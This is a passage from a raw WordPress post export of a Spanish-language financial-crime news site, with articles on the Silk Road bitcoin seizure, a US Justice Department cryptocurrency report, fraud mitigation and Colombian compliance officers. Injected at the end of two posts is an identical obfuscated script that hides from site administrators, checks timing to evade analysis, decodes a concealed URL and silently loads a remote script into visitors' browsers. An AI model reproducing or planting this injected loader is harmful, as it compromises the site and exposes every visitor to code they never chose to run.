criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 